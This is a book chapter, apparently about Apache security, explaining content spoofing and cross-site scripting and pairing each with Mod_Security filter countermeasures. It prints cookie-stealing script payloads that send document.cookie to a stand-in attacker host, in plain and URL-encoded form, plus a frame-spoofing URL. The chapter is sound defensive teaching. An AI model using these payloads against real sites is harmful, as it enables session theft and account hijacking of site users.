This chapter is from the book
This chapter is from the book
This chapter is from the book
Client-Side Attacks
The Client-Side Attacks section focuses on the abuse or exploitation of a web site’s users. When a user visits a web site, trust is established between the two parties both technologically and psychologically. A user expects web sites they visit to deliver valid content. A user also expects the web site not to attack them during their stay. By leveraging these trust relationship expectations, an attacker may employ several techniques to exploit the user.
Content Spoofing
Content Spoofing is an attack technique used to trick a user into believing that certain content appearing on a web site is legitimate and not from an external source.
Some web pages are served using dynamically built HTML content sources. For example, the source location of a frame (<frame src="http://foo.example/file.html">) could be specified by a URL parameter value (http://foo.example/page?frame_src= http://foo.example/file.html). An attacker may be able to replace the frame_src parameter value with frame_src=http://attacker.example/spoof.html. When the resulting web page is served, the browser location bar visibly remains under the user-expected domain (foo.example), but the foreign data (attacker.example) is shrouded by legitimate content.
Specially crafted links can be sent to a user via email, instant messages, left on bulletin board postings, or forced upon users by a Cross-site Scripting attack. If an attacker gets a user to visit a web page designated by their malicious URL, the user will believe he is viewing authentic content from one location when he is not. Users will implicitly trust the spoofed content since the browser location bar displays http://foo.example, when in fact the underlying HTML frame is referencing http://attacker.example.
This attack exploits the trust relationship established between the user and the web site. The technique has been used to create fake web pages including login forms, defacements, false press releases, and so on.
Content Spoofing Example
Let's say a web site uses dynamically created HTML frames for their press release web pages. A user would visit a link such as http://foo.example/pr?pg=http://foo.example/pr/01012003.html. The resulting web page HTML would be
<HTML> <FRAMESET COLS="100, *"> <FRAME NAME="pr_menu" SRC="menu.html"> <FRAME NAME="pr_content" SRC="http://foo.example/pr/01012003.html> </FRAMESET> </HTML>
The pr web application in the preceding example creates the HTML with a static menu and a dynamically generated FRAME SRC. The pr_content frame pulls its source from the URL parameter value of pg to display the requested press release content. But what if an attacker altered the normal URL to http://foo.example/pr?pg=http://attacker. example/spoofed_press_release.html? Without properly sanity checking the pg value, the resulting HTML would be
<HTML> <FRAMESET COLS="100, *"> <FRAME NAME="pr_menu" SRC="menu.html"> <FRAME NAME="pr_content" SRC=" http://attacker.example/spoofed_press_release.html"> </FRAMESET> </HTML>
To the end user, the attacker.example spoofed content appears authentic and delivered from a legitimate source.
Apache Countermeasures Against Content Spoofing
In order to properly validate the "pg" value shown in the preceding example, we can create an inverted Mod_Security filter to deny all URLs that are not referencing data from our own site. The following filter will accomplish this task:
SecFilterSelective Arg_pg "!^http://foo.example"
References
"A New Spoof: All Frames-Based Sites Are Vulnerable"—SecureXpert Labs http://tbtf.com/archive/11-17-98.html#s02
Cross-Site Scripting
Cross-site Scripting (XSS) is an attack technique that forces a web site to echo attacker-supplied executable code, which loads in a user’s browser. The code itself is usually written in HTML/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology.
When an attacker gets a user’s browser to execute his code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read, modify, and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his account hijacked (cookie theft), his browser redirected to another location, or possibly shown fraudulent content delivered by the web site he is visiting. Cross-site Scripting attacks essentially compromise the trust relationship between a user and the web site.
There are two types of Cross-site Scripting attacks: non-persistent and persistent. Non-persistent attacks require a user to visit a specially crafted link laced with malicious code. Upon visiting the link, the code embedded in the URL will be echoed and executed within the user’s web browser. Persistent attacks occur when the malicious code is submitted to a web site where it’s stored for a period of time.
Examples of an attacker’s favorite targets often include message board posts, web mail messages, and web chat software. The unsuspecting user is not required to click on any link, just simply view the web page containing the code.
Cross-Site Scripting Examples
Persistent Attack
Many web sites host bulletin boards where registered users may post messages. A registered user is commonly tracked using a session ID cookie authorizing them to post. If an attacker were to post a message containing a specially crafted JavaScript, a user reading this message could have their cookies and their account compromised. This is shown in the following cookie-stealing code snippet:
<SCRIPT> document.location= ’http://attackerhost.example/cgi-bin/cookiesteal.cgi?’+document.cookie </SCRIPT>
Non-Persistent Attack
Many web portals offer a personalized view of a web site and greet a logged-in user with "Welcome, <your username>." Sometimes the data referencing a logged-in user are stored within the query string of a URL and echoed to the screen. Here is a portal URL example:
?http://portal.example/index.php?sessionid=12312312&username=Joe
In the preceding example, we see that the username Joe is stored in the URL. The resulting web page displays a "Welcome, Joe" message. If an attacker were to modify the username field in the URL, inserting a cookie-stealing JavaScript, it would be possible to gain control of the user’s account.
A large percentage of people will be suspicious if they see JavaScript embedded in a URL, so most of the time an attacker will URL encode his malicious payload similar to the next example. The following is a URL-encoded example of a cookie-stealing URL:
http://portal.example/index.php?sessionid=12312312& username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E
Here is a decoded example of a cookie-stealing URL:
http://portal.example/index.php?sessionid=12312312&username=<script>document.location=
'http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</script>
Apache Countermeasures for Cross-side Scripting Attacks
Client-side attacks such as XSS are extremely difficult to fully prevent from the web server side. This is the old chicken or the egg debate with regard to diagnosing who is responsible for a successful XSS attack. In order to be successful, both the web server and the client browser play a critical role. From the web server’s perspective, they are responsible for the portion of this attack that allows an attacker to submit XSS data and then submit it back to other clients. So, we can help to mitigate the effectiveness of most XSS by identifying and blocking the attacker’s attempts to upload the XSS data. As mentioned in a previous section, we can implement different Mod_Security filters to identify XSS data being uploaded to the server. Here are some additional filters:
SecFilterSelective THE_REQUEST "<[^>]*meta*\"?[^>]*>" SecFilterSelective THE_REQUEST "<[^>]*style*\"?[^>]*>" SecFilterSelective THE_REQUEST "<[^>]*script*\"?[^>]*>" SecFilterSelective THE_REQUEST "<[^>]*iframe*\"?[^>]*>" SecFilterSelective THE_REQUEST "<[^>]*object*\"?[^>]*>" SecFilterSelective THE_REQUEST "<[^>]*img*\"?[^>]*>" SecFilterSelective THE_REQUEST "<[^>]*applet*\"?[^>]*>" SecFilterSelective THE_REQUEST "<[^>]*form*\"?[^>]*>"
Although these filters will detect a large number of XSS attacks, they are not foolproof. Due to the multitude of different scripting languages, it is possible for an attacker to create many different methods for implementing an XSS attack that would bypass these filters.
References
"CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests" http://www.cert.org/advisories/CA-2000-02.html
"The Cross-Site Scripting FAQ"—CGISecurity.com http://www.cgisecurity.com/articles/xss-faq.shtml
"Cross-Site
Scripting
Info"
httpd.apache.org/info/css-security/
"24 Character Entity References in HTML 4" http://www.w3.org/TR/html4/sgml/entities.html
"Understanding Malicious Content Mitigation for Web Developers" http://www.cert.org/tech_tips/malicious_code_mitigation.html
"Cross-site Scripting: Are your web applications vulnerable?" By Kevin Spett—SPI Dynamics http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf
"Cross-site Scripting Explained" By Amit Klein—Sanctum http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf
"HTML Code Injection and Cross-site Scripting" By Gunter Ollmann http://www.technicalinfo.net/papers/CSS.html